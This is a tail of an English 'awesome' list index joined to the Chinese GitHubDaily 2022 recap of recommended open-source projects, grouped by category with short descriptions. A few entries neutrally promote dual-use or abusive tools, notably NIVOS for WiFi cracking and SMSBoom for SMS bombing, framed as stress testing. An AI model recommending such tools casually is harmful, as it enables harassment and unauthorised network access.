- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
|
<p align="center">
<img src="https://raw.githubusercontent.com/GitHubDaily/GitHubDaily/master/assets/githubdaily_brand.png">
</p>
<p align="center">
<a href="https://raw.githubusercontent.com/GitHubDaily/GitHubDaily/master/assets/weixin.png"><img src="https://img.shields.io/badge/ GitHubDaily-公众号-brightgreen.svg" alt="WeChat"></a>
<a href="https://weibo.com/GitHubDaily"><img src="https://img.shields.io/badge/%E6%96%B0%E6%B5%AA-%E5%BE%AE%E5%8D%9A-red" alt="Weibo"></a>
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<a href="https://github.com/GitHubDaily/GitHubDaily/stargazers"><img src="https://img.shields.io/github/stars/GitHubDaily/GitHubDaily" alt="GitHub stars"></a>
</p>
## 宗旨
多年以前，我曾看到 GitHub 开源项目作者、全栈工程师 TJ Holowaychunk 说过这么一句话：
"I don't read books, never went to school, I just read other people's code and always wonder how things work"。
从那时起，我便认为，通过阅读源码，站在前辈的角度上，去思考代码架构与程序逻辑，乃是提升编程技巧最好的方式。
因此，GitHub 也自然而然的，成为我最喜爱的开发者平台。
秉着挖掘开源价值的初衷，GitHubDaily 自 2015 年 10 月 10 日正式成立。
我们希望能通过这一举措，帮助开发者们发现当下最火的开源项目，掌控最新技术动态, 扩大技术视野, 并从开源项目的学习中获得编程能力的提升。
目前，GitHubDaily 已累积分享超过 3000 个开源项目，内容包括但不限于 GitHub 上的开源技术资料、开发者工具、编程网站以及成熟应用。
除了 GitHub 之外，我们也开始在下面多个社交媒体平台，帮助开发者传播与分享优质开源项目，挖掘其未来的技术应用前景。
如果你想接收最新的 GitHub 开源项目资讯，可以关注一下👇
- 公众号: [GitHubDaily](https://raw.githubusercontent.com/GitHubDaily/GitHubDaily/master/assets/weixin.png)
- 微博: [@GitHubDaily](https://weibo.com/GitHubDaily)
- 知乎: [@GitHubDaily](https://www.zhihu.com/people/githubdaily)
> 有不错的开源项目，也欢迎到本仓库的 [issues](https://github.com/GitHubDaily/GitHubDaily/issues/new) 推荐或自荐项目，我们期待你的分享。
---
## 2022 年复盘
下面是对 GitHubDaily 在 2022 年所推荐的项目进行分类整理，方便大家查找以往分享过的内容。
> 过往复盘 [2021](https://github.com/GitHubDaily/GitHubDaily/blob/master/2021.md)，[2020](https://github.com/GitHubDaily/GitHubDaily/blob/master/2020.md)，[2019](https://github.com/GitHubDaily/GitHubDaily/blob/master/2019.md)，[2018](https://github.com/GitHubDaily/GitHubDaily/blob/master/2018.md)
### 目录
- [宗旨](#宗旨)
- [2022 年复盘](#2022-年复盘)
- [目录](#目录)
- [Java](#java)
- [Python](#python)
- [前端](#前端)
- [工具](#工具)
- [插件](#插件)
- [资料集合](#资料集合)
- [书籍/教程](#书籍教程)
- [机器学习/人工智能](#机器学习人工智能)
- [开源字体](#开源字体)
- [其他](#其他)
- [声明](#声明)
### Java
名称 | 简述 | 源
---- | ----- | -----
[mall4cloud](https://github.com/gz-yami/mall4cloud) | 一个基于 Spring Cloud 构建的开源电商系统。采用主流微服务技术实现，支持集群部署、服务注册和发现以及拥有完整的订单流程等，是一个适合二次开发的电商平台系统。 | [](https://weibo.com/5722964389/LC5Jk3w36)
[RuoYi](https://github.com/yangzongzhuan/RuoYi) | GitHub 上一款开源的权限管理系统：RuoYi，基于 SpringBoot 搭建，代码易读易懂、界面简洁美观。项目可用于所有的 Web 应用程序，如网站管理后台，网站会员中心，CMS，CRM，OA，支持移动客户端访问。核心技术采用 Spring、MyBatis、Shiro，没有任何其它重度依赖，直接运行即可使用。 | [](https://weibo.com/5722964389/LwBap7sg9)
[Bolo Solo](https://github.com/adlered/bolo-solo) | GitHub 上一个开源的个人博客系统：Bolo Solo，简单易部署，自带精致主题、数据统计表、邮件提醒、自定义图床、功能丰富的 Markdown 编辑器，专为程序员设计。 | [](https://weibo.com/5722964389/LqqbdewnY)
[NBlog](https://github.com/Naccl/NBlog) | 一个前后端分离的开源博客系统，基于 Spring Boot + Vue 技术栈开发，界面清新简洁，拥有多个丰富的博客组件，自带管理后台。 | [](https://weibo.com/5722964389/LgMIKs1ng)
[algorithms](https://github.com/xingxingzaixian/django-drf-online-exam) | 一个开源的在线考试系统，按照不同功能，可划分为题目管理、答题系统、权限分配、评卷系统等模块。 | [](https://weibo.com/5722964389/LgGPqCVrZ)
[JavaSecInterview](https://github.com/4ra1n/JavaSecInterview) | 由国内开发者更新与维护的 Java 面试题库，主要围绕 Java 安全研究与安全开发领域，覆盖了Shiro 和 Spring 框架、Fastjson 和 Log4j2 组件等安全知识。 | [](https://weibo.com/5722964389/LfUI46bDG)
### Python
名称 | 简述 | 源
---- | ----- | -----
[Pynecone](https://github.com/pynecone-io/pynecone) | GitHub 上的开源 Python 全栈开发框架：Pynecone，可让你在短短几分钟内，快速搭建一个 Web 应用。无需任何 Web 开发基础，即可上手使用。非常适合用来构建 AI 模型的 Demo 示例，简单又方便。 | [](https://weibo.com/5722964389/Mjr16mOmN)
[python-tutorial](https://github.com/shibing624/python-tutorial) | GitHub 上一个开源 Python 实用教程。包括了 Python 基础，Python 高级特性，面向对象编程，多线程，数据库，数据科学，Flask，爬虫开发教程。教程中包含的范例，涵盖了大多数 Python 日常脚本任务，可作为入门学习资料，亦可作为工作中编写脚本的参考实现。 | [](https://weibo.com/5722964389/MaegHpKyi)
[PrettyMaps](https://github.com/marceloprates/prettymaps) | 一个在 GitHub 开源的小型 Python 库，可基于 OpenStreetMap 数据，帮助开发者快速绘制简洁美观的地图。 | [](https://weibo.com/5722964389/M0eOpztkq)
[pyWhat](https://github.com/bee-san/pyWhat) | 推荐一款比较实用的 Python 脚本工具：pyWhat，能够快速提取信息中的 IP 地址、邮箱、信用卡、数字货币钱包地址、YouTube 视频等内容。不仅如此，pyWhat 还可对文件和目录进行扫描，通过递归搜索，快速获取核心信息，并对结果进行筛选、过滤、排序、导出等操作 | [](https://weibo.com/5722964389/M06z02xGH)
[MLScraper](https://github.com/lorey/mlscraper) | 一个开源的 Python 爬虫脚本，可基于机器学习自动从 HTML 页面中抓取数据。在给爬虫提供输出结果的示例后，它便会自动提取规则，对页面数据进行抓取，整个过程无需指定 CSS 选择器。 | [](https://weibo.com/5722964389/LE4hMxRgU)
[《动手开发一个 Python 小项目》](https://inventwithpython.com/bigbookpython/) | 书中收录了 80 多个 Python 项目，每个项目都是一个独立章节，其中包括项目实例、源码、进一步开发建议等内容。书中每个项目代码量最多只有 200 多行，对新手友好，适合快速上手学习。 | [](https://weibo.com/5722964389/LBdwuw5KU)
[Kindle_download_helper](https://github.com/yihong0618/Kindle_download_helper) | 一年后，Kindle 将退出中国市场，此前购买的书籍，在 2024 年 6 月 30 日后，将无法进行下载。一个在 GitHub 上开源的 Python 脚本，可用于批量下载往期已购买的 Kindle 电子书，并将其保存到本地。 | [](https://weibo.com/5722964389/LwLLWnfmd)
[NannyML](https://github.com/NannyML/nannyml) | 一个适合数据科学开发者使用的 Python 库：NannyML，该项目搭配了拥有简单、易用的可视化界面，让你可以提前预估部署后的模型性能，检测数据漂移。 | [](https://weibo.com/5722964389/Ltqn287bb)
[PyScript](https://github.com/pyscript/pyscript) | 简单添加几行代码，便能在 HTML 中内嵌 Python 代码，并在浏览器上运行。 | [](https://weibo.com/5722964389/LrWscwV7h)
[GDB dashboard](https://github.com/cyrus-and/gdb-dashboard) | GitHub 上开源的 Python 调试工具：GDB dashboard，为 Python GDB 提供了可视化界面，更清晰的显示了程序调试信息，使开发者能专注于 Python 控制流。 | [](https://weibo.com/5722964389/LqGG6kbV9)
[NIVOS](https://github.com/TheSadError/NIVOS) | 一个开源的 Python 工具包，可用于深入扫描、破解 WIFI，适用于所有 Linux 系统，部分功能仍在持续升级中。 | [](https://weibo.com/5722964389/LqeoBnWyo)
[Greppo](https://github.com/greppo-io/greppo) | GitHub 上的开源 Python 框架，可快速搭建一款可交互式的「地理空间」应用。该框架提供了一整套完整工具包，让你可以轻松打通数据、算法、可视化 UI 等模块，构建一款交互式应用。 | [](https://weibo.com/5722964389/Liw9zejPT)
[algorithms](https://github.com/xingxingzaixian/django-vue3.2-online-exam) | 一个开源的在线考试系统，按照不同功能，可划分为题目管理、答题系统、权限分配、评卷系统等模块。 | [](https://weibo.com/5722964389/LgGPqCVrZ)
[Kedro](https://github.com/kedro-org/kedro) | 一个开源 Python 框架，可帮助你创建可复用、可维护、模块化的数据科学代码，支持与 VSCode 和 PyCharm 搭配使用。 | [](https://weibo.com/5722964389/LgmNn1rJ5)
### 前端
名称 | 简述 | 源
---- | ----- | -----
[「PoseMon 让爷康康」](https://github.com/linyiLYi/pose-monitor) | 国内开发者在 GitHub 开源的一款 Android 应用：「PoseMon 让爷康康」，可借助 AI 技术，实时监测不良坐姿，并及时给出语音提示。应用不需要联网使用，所有 AI 特性均在手机本地运行，不需要将视频画面传输至外部服务器，仅需要摄像头权限用于获取姿态画面。 | [](https://weibo.com/5722964389/MecX2f7DZ)
[Magical Spider](https://github.com/lixi5338619/magical_spider) | 神奇的蜘蛛，一个几乎适用于所有 Web 端站点的采集方案 | [](https://weibo.com/5722964389/M1jYX9t87)
[云开发情侣互动小程序](https://github.com/UxxHans/Rainbow-Cats-Personal-WeChat-MiniProgram) | GitHub 上这个情侣互动小程序可以玩一下，给生活增添点趣味。项目基于云开发能力构建，可作为情侣自己的任务和商城系统，主要特性包括做任务，攒积分，换商品等功能。 | [](https://weibo.com/5722964389/LFiSO1hRm)
[vuejs-challenges](https://github.com/webfansplz/vuejs-challenges) | 一个 Vue.js 在线挑战平台，里面提供了多道 Vue.js 练习题，帮你一步步掌握 Vue.js 的使用。该项目意在帮助你更好地了解 Vue.js，编写出实用程序，或单纯享受挑战乐趣。 | [](https://weibo.com/5722964389/LC2YQimtz)
[Vue Flow](https://github.com/bcakmakoglu/vue-flow) | GitHub 上一个开源的 Web 流程图组件：Vue Flow，支持灵活定制、可应用于 Vue 3，具有丝滑的缩放与拖拽交互，自带 Minimap 和各类实用的图形组件。 | [](https://weibo.com/5722964389/LyCh8l1Pt)
[WebGAL](https://github.com/MakinoharaShoko/WebGAL) | 这是一款界面美观、易于开发的网页端视觉小说引擎。通过该引擎，你可以快速制作属于自己的小游戏。项目配有使用教程，令你无需网页开发基础，3 分钟即可学会所有的语法。只要你有灵感，便可以立刻开始创作自己的 Galgame。 | [](https://weibo.com/5722964389/LwJ1teQwW)
[Chirpy Jekyll Theme](https://github.com/cotes2020/jekyll-theme-chirpy) | 一个轻量级、响应式的个人静态博客主题：Chirpy Jekyll Theme，自带暗黑模式、可自动生成相关帖子，支持语法高亮、数学公式、流程图等功能。 | [](https://weibo.com/5722964389/LvylZlO9j)
[PaoPao](https://github.com/rocboss/paopao-ce) | 一个风格类似 Twitter 的开源社区，基于 Gin、Zinc、Vue 等技术栈搭建。 | [](https://weibo.com/5722964389/LvrtLyUq7)
[CSS Buttons](https://github.com/eludadev/css-buttons) | 这个 GitHub 项目基于 CSS，实现了 100 种不同的 Web 按钮样式，包括动画效果、外观、转场过渡效果等，脑洞颇大。 | [](https://weibo.com/5722964389/LtGtxq7JV)
[Geeker Admin](https://github.com/HalseySpicy/Geeker-Admin) | 推荐 GitHub 上一套开源的后台管理框架：Geeker Admin，项目基于 Vue3.2、TypeScript、Vite2、Pinia、Element-Plus 等技术栈开发而成。拥有数据大屏、统计信息可视化、表格操作 Hooks 封装、组件 UI 动态切换、i18n 国际化多语言、常见 Web 指令定制等诸多功能。 | [](https://weibo.com/5722964389/LtjiEccit)
[Horizon UI](https://github.com/horizon-ui/horizon-ui-chakra) | GitHub 上一个开源的管理后台模板：Horizon UI，内置数百个组件与模块，可帮你快速开发出精美、简洁的网站。 | [](https://weibo.com/5722964389/Lqddyamna)
[Luckysheet](https://github.com/mengshukeji/Luckysheet) | 一款纯前端实现的，类似 Excel 的在线表格，功能强大、配置简单、完全开源。支持大部分 Excel 功能，如冻结行列、合并单元格、筛选、排序。并内置了透视表、图表、计算函数等数据分析常用功能。 | [](https://weibo.com/5722964389/LoYe9w229)
[Fantastic-admin](https://github.com/hooray/fantastic-admin) | 一款开箱即用的 Vue 中后台管理系统框架，拥有多种布局与主题，动效丰富，可灵活定制，并支持多语言、多级路由缓存、自动生成导航栏等功能。 | [](https://weibo.com/5722964389/LnZlhmZjL)
[Instagram MERN](https://github.com/jigar-sable/instagram-mern) | 应该是我见过最全功能复现的 Instagram 克隆版了，基本上覆盖了诸多 ins 常用的前后端功能。支持登录注册、个人信息的增删改查、帖子与私信互动，Emoji 支持等功能。 | [](https://weibo.com/5722964389/LkVCh6wku)
[dooringx](https://github.com/H5-Dooring/dooringx) | GitHub 上开源的可视化平台搭建方案：dooringx，通过提供一套数据流事件机制、弹窗等解决方案，让你可以快速定制一个可视化拖拽平台。 | [](https://weibo.com/5722964389/LgW9f0ltw)
[Vue vben admin](https://github.com/vbenjs/vue-vben-admin) | GitHub 上一个开源的管理后台模板：Vue vben admin，基于 Vue 构建，开箱即用，拥有多款可配置主题，内置 Mock 数据方案、动态路由权限生成方案。 | [](https://weibo.com/5722964389/LeYLR12Zj)
[Medusa](https://github.com/medusajs/medusa) | GitHub 上一个开源的电商建站平台，可基于各种 UI 组件与 API，用模块拼装的方式，快速搭建个人电商平台。 | [](https://weibo.com/5722964389/LePllw9iF)
[Olympic](https://github.com/dragonir/3d/tree/master/src/containers/Olympic) | 国内开发者用代码实现的「冰墩墩」，基于 Three.js + React 技术栈构建，代码已在 GitHub 开源。 | [](https://weibo.com/5722964389/LeOahodSj)
[Graphics](https://github.com/entronad/graphic) | GitHub 上一个开源的可视化 Flutter 图表库，提供了一种基于图形语法的声明式定义，可组合出多种图表类型，并拥有丰富的属性配置和交互组件。 | [](https://weibo.com/5722964389/LbACshpig)
[S2](https://github.com/antvis/S2) | 一款基于数据驱动的多维分析表格，通过提供底层能力库，基础组件，业务场景组件以及自由扩展的能力。具备高性能、高扩展、可交互、开箱即用等特点。 | [](https://weibo.com/5722964389/LaJZ0yxiX)
[Mall Cook](https://github.com/wangyuan389/mall-cook) | 一款开源的可视化商城搭建平台，包括多页面可视化构建、JSON Schema 生成器（可视化搭建物料控制面板），实现组件流水线式标准接入平台等功能。 | [](https://weibo.com/5722964389/La8h0y4z3)
### 工具
名称 | 简述 | 源
---- | ----- | -----
[ILLA Builder](https://github.com/illacloud/illa-builder) | GitHub 上最近比较火的一款低代码开发工具：ILLA Builder。可让你在短短几分钟内，快速搭建一个企业内部应用。项目内置了一整套 UI 组件库，通过拖拽组件，即可完成应用搭建。此外，工具还接入了多种数据库和 API，让数据调用更加简单方便。 | [](https://weibo.com/5722964389/MkvLkwZ3j)
[Photoshot](https://github.com/shinework/photoshot) | 一款开源的 AI 头像生成器，用户将自己的个人头像上传后，可借助 Stable Diffusion 模型进行训练，并生成一款拥有不同风格的个人头像。 | [](https://weibo.com/5722964389/Mjgk2lKIG)
[ChatGPT 微信](https://github.com/fuergaosi233/wechat-chatgpt) | 可将 ChatGPT 集成到微信的开源项目，通过发送对话，即可接受到来自 ChatGPT 的结果反馈，玩起来又更方便了，另外一款是 [ChatGPT-wechat-bot](https://github.com/AutumnWhj/ChatGPT-wechat-bot) | []()
[Misskey](https://github.com/misskey-dev/misskey) | 一个开源的去中心化微博社交平台：Misskey，完美适配了 PC 与移动端界面。支持丰富且可定制化的 Web UI、Emoji 表情、在线笔记、云存储、多主题、统计图表、实用组件等多种功能 | [](https://weibo.com/5722964389/Mic1I1tiU)
[StockAI](https://www.stockai.com/) | 一款颇有意思的图片搜索引擎：StockAI。输入关键词即可搜索图片，如果图片不存在，则会通过 AI 自动生成近似图片。个人非商业可免费下载小图。 | [](https://weibo.com/5722964389/Mi4aDBbtZ)
[Lama Cleaner](https://github.com/Sanster/lama-cleaner) | GitHub 上一款开源的图像修复工具：Lama Cleaner，基于 SOTA AI 模型构建，功能颇为齐全。可用于快速去除图像中各种物品、人物、字体、水印等对象，并支持老照片修复、文本替换图像内容等。 | [](https://weibo.com/5722964389/MftUc9pdK)
[AutoCut](https://github.com/mli/autocut) | GitHub 上一款开源的视频剪辑工具：AutoCut，可通过字幕快速剪切视频。工具支持自动生成字幕，用户无需使用视频编辑软件，仅需编辑文本文件，即可完成剪切。 | [](https://weibo.com/5722964389/MfktHxK73)
[GoToSocial](https://github.com/superseriousbusiness/gotosocial) | 一款开源的轻量级社交平台，类似 Twitter 与 Tumblr。支持关注他人、发布推文、点赞分享内容、一键拉黑等操作。 | [](https://weibo.com/5722964389/MefjaiTnv)
[Stash](https://github.com/stashapp/stash) | 一款开源的视频与图像管理 Web 应用，基于 Go 编写，支持自部署，可将视频和图像按标签进行分类，以及信息提取与统计等功能。项目支持通过 Windows、macOS、Linux、Docker 等方式进行安装部署，并拥有多种 CSS 样式可供定制。 | [](https://weibo.com/5722964389/Mee86n3KX)
[Memphis](https://github.com/memphisdev/memphis-broker) | GitHub 上一款开源的实时数据处理平台：Memphis，与 Apache Kafka 相比，构建数据流应用程序的速度快 9 倍。该项目提供了功能丰富的命令行与可视化界面，帮助实现快速开发，极大降低成本。 | [](https://weibo.com/5722964389/MebnCFcES)
[VHS](https://github.com/charmbracelet/vhs) | 一款开源的命令行 GIF 生成工具，可自动生成命令行的 GIF 动画，并应用到教程、文档、工具演示、测试等场景上。该工具支持自定义配置动画字体、间距、行高、延迟、打字速度、主题、删除与指针移动效果等各种属性，功能非常齐全。 | [](https://weibo.com/5722964389/Md0I8aM1M)
[Pake](https://github.com/tw93/Pake) | 一个可将各种网页快速打包成 Mac App 的开源工具。相比 Electron 更加小巧易用，速度更快，同时实现了通用的快捷键透传、沉浸式窗口、拖动、打包样式兼容等特性。 | [](https://weibo.com/5722964389/MaZpcf4sH)
[RedEye](https://github.com/cisagov/RedEye) | GitHub 上一款开源的安全可视化分析工具：RedEye，可用于协助红队可视化报告指挥和控制行动。该工具允许操作员评估和展示复杂数据，调整策略，并根据红队评估做出有效决策。支持日志解析，格式化输出数据，对行动进行标注等功能。 | [](https://weibo.com/5722964389/MaV5in0Jr)
[Fyrox](https://github.com/FyroxEngine/Fyrox) | 一个基于 Rust 开发的 2D & 3D 游戏引擎。自带功能齐全的可视化操作界面、高度可扩展的渲染器、拥有创建复杂动画的内置系统、高品质双耳音响系统，支持 Windows、Linux、macOS 等主流操作系统。另外，该项目还配套了工具使用教程，帮助你更快的上手游戏开发。 | [](https://weibo.com/5722964389/MaicgjMt5)
[Markwhen](https://github.com/kochrt/markwhen) | 一款可快速创建时间线的开源工具：Markwhen。通过类似 Markdown 语法，即可快速生成直观、可视化的时间线内容。 | [](https://weibo.com/5722964389/MafQ8dNRK)
[Umi-OCR](https://github.com/hiroi-sora/Umi-OCR) | 一款功能颇全的开源 OCR 软件，可离线使用，适用于 Win10 x64 平台。该软件支持截屏识别、粘贴图片，支持批量导入本地图片，将 OCR 结果输出到软件面板或本地文件。 | [](https://weibo.com/5722964389/Ma6pD0MW6)
[Sharing](https://github.com/parvardegr/sharing) | 一款开源的命令行工具。无需安装任何移动端 App，即可实现 PC 到移动端的文件共享功能，支持 iOS 和 Android。 | [](https://weibo.com/5722964389/M9vSIpEPy)
[Code App](https://github.com/thebaselab/codeapp) | 一款开源的 iPad 代码编辑器：Code App。内置 Node.js、Python、C、C++、PHP 等多种开发环境，自带 Git、Pip、NPM 等工具，可连接并管理远程服务器。 | [](https://weibo.com/5722964389/M9t8ekIcm)
[Notes](https://github.com/nuttyartist/notes) | 一款开源的跨平台笔记应用，支持文件夹嵌套与标签管理、可自定义界面主题，采用QT、C++ 原生开发，响应速度快。 | [](https://weibo.com/5722964389/M7GyyFDWT)
[Gooey](https://github.com/chriskiehl/Gooey) | 一款可直接将 Python 命令行工具转为 GUI 应用的开源程序，帮助你优化用户体验。 | [](https://weibo.com/5722964389/M6vGU7Izk)
[CubyText](https://github.com/vincentdchan/CubyText) | 一个开源的知识管理软件：Cuby Text，通过区块来管理内容，让信息更有条理。软件界面清新、简洁、数据存储在本地，可更快搜索查找，并支持 Windows、Linux、macOS 等主流操作系统。 | [](https://weibo.com/5722964389/M6s9Ibq2z)
[Motionity](https://github.com/alyssaxuu/motionity) | 一个开源的动画编辑工具，可在浏览器直接打开使用。支持视频剪切、图像搜索过滤、文本动画库、图层蒙版等功能。 | [](https://weibo.com/5722964389/M4KSR1axX)
[Notesnook](https://github.com/streetwriters/notesnook) | 一个开源的端到端加密笔记软件，可用于替代 Evernote，该项目提供笔记共享、历史回溯、个性化主题定制、富文本编辑，并支持导出成 PDF 与 Markdown 等格式的笔记文件。 | [](https://weibo.com/5722964389/M4BskoKun)
[SurrealDB](https://github.com/surrealdb/surrealdb) | GitHub 上一个开源的云原生数据库：SurrealDB，通过简化数据库和 API 堆栈，以减少项目开发时间，提高生产力。除了处理日常数据事务，该数据库还能当做 API 后端层使用。支持 SQL 查询、GraphQL、ACID 事务、WebSocket 连接、结构化和非结构化数据、图形查询、全文索引等功能。 | [](https://weibo.com/5722964389/M2xoVB8yQ)
[WSysMon](https://github.com/SlyFabi/WSysMon) | 一个开源的 Windows 任务管理工具克隆版，可用于 Linux 系统。 | [](https://weibo.com/5722964389/M2wdR50H3)
[TerrainDecorator](https://github.com/emrecancubukcu/Terrain-Decorator ) | 一款轻量级 Unity 3D 地形绘制工具：TerrainDecorator，包含了各种坡度、高度、噪声、图像遮罩和混合模式等过滤器，可帮助开发者快速创建地形纹理。 | [](https://weibo.com/5722964389/M2v2Nwh3a)
[One Last Image](https://github.com/itorr/one-last-image) | 一个能将「赛璐璐风格」动画截图或插画，转换成 One Last Kiss 封面风格的在线生成器。 | [](https://weibo.com/5722964389/M18cku47e)
[pdf-diff](https://github.com/serhack/pdf-diff) | GitHub 上一款开源的 PDF 文件对比工具：pdf-diff。可用于追踪、对比不同 PDF 版本间的差异。像 Git 一样，让你更好的了解 PDF 内容变更情况。 | [](https://weibo.com/5722964389/M0prZBkBt)
[Label Studio](https://github.com/heartexlabs/label-studio) | GitHub 上一款开源的数据标注神器：Label Studio，可用于标注音视频、文本、图像、时间序列等数据类型，并导出为多种模型格式。此外，该工具还支持多账号登录、流线型工作模式、可配置标签格式、集成机器学习模型、嵌入数据管道等功能。 | [](https://weibo.com/5722964389/M0fZuF2AD)
[AFFiNE](https://github.com/toeverything/AFFiNE) | GitHub 上又一个开源的 Notion 替代品：AFFiNE，一款功能颇为强大的知识库管理工具。界面样式清新简洁、支持所见即所得的编辑和排版，拥有基于 Markdown 的多任务管理、多人实时协作。私密性强，可在本地自部署，目前项目仍在持续更新迭代。 | [](https://weibo.com/5722964389/M04e0h98c)
[Wireflow](https://github.com/vanila-io/wireflow) | 一款开源的在线流程图绘制工具，支持使用 100 多种自定义图形、可进行多人协作、权限分配、实时聊天等功能、并拥有丰富的功能组件库。 | [](https://weibo.com/5722964389/LE36JxtQd)
[Pixel Art to CSS](https://github.com/jvalen/pixel-art-react) | 一个开源的像素风图像编辑工具，基于 React 开发，通过结合 CSS 的 box-shadow 和 keyframes 特性，实现了在线绘制像素风图像的需求。在绘制完成后，你还能将其导出成 GIF、静态图像或纯代码，并粘贴到自己的网站上。 | [](https://weibo.com/5722964389/LDj9ja8ou)
[DBER](https://github.com/findyourmagic/dber) | GitHub 上一个开源的数据库设计工具：DBER，基于实体连接图，支持可视化数据库结构设计、拖拽生成模型引用关系、一键导出 SQL 语句等功能。 | [](https://weibo.com/5722964389/LDgoP6gGD)
[Lensm](https://github.com/loov/lensm) | 一款基于 Go 语言开发的汇编及源代码浏览工具，可用于项目性能优化、调试等场景。作者还特地写了一篇文章，阐述了整个项目的开发历程。 | [](https://weibo.com/5722964389/LDaTSg1k6)
[Termtyper](https://github.com/kraanzu/termtyper) | 为了提升自己的打字速度，国外一位开发者在 GitHub 开源了一款命令行终端打字游戏，该游戏提供了一个简单直观的可交互界面，支持设置游戏难度、主题样式、游戏时间以及按键声音，最后还能统计打字精准度，帮你快速提升打字速度。 | [](https://weibo.com/5722964389/LD8xK6Kvp)
[DiceBear](https://github.com/dicebear/dicebear) | 一个开源的头像生成库，可通过给定的唯一标识，快速帮助开发者与设计师，生成一款简单可爱的用户头像。还提供了 API，供开发者接入调用。 | [](https://weibo.com/5722964389/LD6YkxV46)
[Navidrome](https://github.com/navidrome/navidrome) | GitHub 上一个开源的跨终端音乐播放器：Navidrome。基于 Material UI 设计风格构建，支持所有主流音乐格式，拥有播放、收藏、专辑管理等功能特性。该播放器兼容 macOS、Linux、Windows 等主流桌面系统与移动端，内置多语言模块，可随时翻译转换为其它语言。 | [](https://weibo.com/5722964389/LCTq6fG7a)
[Lively Wallpaper](https://github.com/rocksdanister/lively) | 一个开源的动态壁纸软件，可快速更换、管理桌面动态壁纸，资源占用率极小。应用定制性强，可使用动态和交互式网页、3D 应用、音频可视化工具作为壁纸。支持多种不同分辨率屏幕，内容丰富，使用简单。 | [](https://weibo.com/5722964389/LCf9Pzg0N)
[qsv](https://github.com/jqnatividad/qsv) | 一个开源的 CSV 数据文件处理工具，提供了数十种可用的命令行，可以帮助你更加高效的索引、分析、拆分以及验证 CSV 数据。 | [](https://weibo.com/5722964389/LCdYLCk3j)
[FontForge](https://github.com/fontforge/fontforge) | GitHub 上一个开源的跨平台字体编辑器：FontForge，可用于创建、编辑、转换其它多种格式的字体。编辑器提供了中文使用指南，方便新手更好入门。客户端支持 Windows、macOS、Linux 等主流桌面系统。 | [](https://weibo.com/5722964389/LCcpls5Yj)
[PocketBase](https://github.com/pocketbase/pocketbase) | 一个基于 Go 编写的后端管理系统：PocketBase，集成简单，开箱即用，拥有清新简洁的后台管理面板。该系统内置实时数据库与 REST API，Google、GitHub 等多平台 OAuth 验证功能，文件可存储在本地或第三方平台，灵活性、扩展性强。 | [](https://weibo.com/5722964389/LC4yhkJbz)
[massCode](https://github.com/massCodeIO/massCode) | 一个免费开源的跨平台代码片段管理工具，支持组织管理、Markdown 编辑、搜索同步、自动保存、JSON 存储等功能，并提供了 VS Code、Raycast、Alfred 等多个平台插件。 | [](https://weibo.com/5722964389/LBsQik4mH)
[Tooll 3](https://github.com/still-scene/t3) | GitHub 上一个开源的实时动画工具包：Tooll 3，搭配了简单直观的可视化界面，以及丰富的图形组件，让你可以快速创建实时动态图形。 | [](https://weibo.com/5722964389/LBbalBhZn)
[SMSBoom](https://github.com/WhaleFell/SMSBoom) | 一个开源的 Python 压力测试工具：SMSBoom，可用于测压短信轰炸，全自动添加有效接口，支持异步协程等特性。 | [](https://weibo.com/5722964389/LAHHNsyvQ)
[wechat-backup](https://github.com/greycodee/wechat-backup) | 一款在 GitHub 开源的微信聊天记录备份工具：wechat-backup，可将聊天记录持久化备份本地硬盘，释放手机存储空间。 | [](https://weibo.com/5722964389/LzQFZFcbs)
[Hetty](https://github.com/dstotijn/hetty) | 一款可用于安全研究方向的 HTTP 客户端，针对各类信息安全、漏洞悬赏需求进行量身定制，功能颇为丰富，亦可满足日常接口调试需求。该工具支持 HTTP 高级搜索、日志记录，可手动创建、更改、拦截请求、自带基于项目的数据库存储功能，以及简单易用的 UI 界面。 | [](https://weibo.com/5722964389/LyUVX1ZPb)
[Watermark-Removal](https://github.com/zuruoke/watermark-removal) | 一个开源的图片去水印解决方案：Watermark-Removal，可基于机器学习的图像修复方法，自动去除图片水印。经处理后的图片，与原图几乎一致。 | [](https://weibo.com/5722964389/LyTKUki45)
[supes.top](https://github.com/kiddin9/OpenWrt_x86-r2s-r4s-r5s-N1) | 给喜欢折腾智能家居和路由的同学，推荐一个 OpenWrt 配置工具：supes.top。可用于快速下载、定制各种设备的 OpenWrt 固件。Web 界面上提供了多种可选配置，包括设备名称和型号、常用软件包、插件、主题风格、宽带信息等，部分功能需付费才能使用。 | [](https://weibo.com/5722964389/LySzR06g0)
[Redpanda Console](https://github.com/redpanda-data/console) | GitHub 上一款开源的数据流处理工具：Redpanda Console（前身是 Kowl），搭配可视化 UI，可用于快速管理和调试 Kafka/Redpanda 工作负载。 | [](https://weibo.com/5722964389/LyMGxy6BC)
[tproxy](https://github.com/kevwan/tproxy) | 一款开源的 TCP 连接分析工具：tproxy，可用于监控网络连接，分析请求内容。 | [](https://weibo.com/5722964389/LyDscu413)
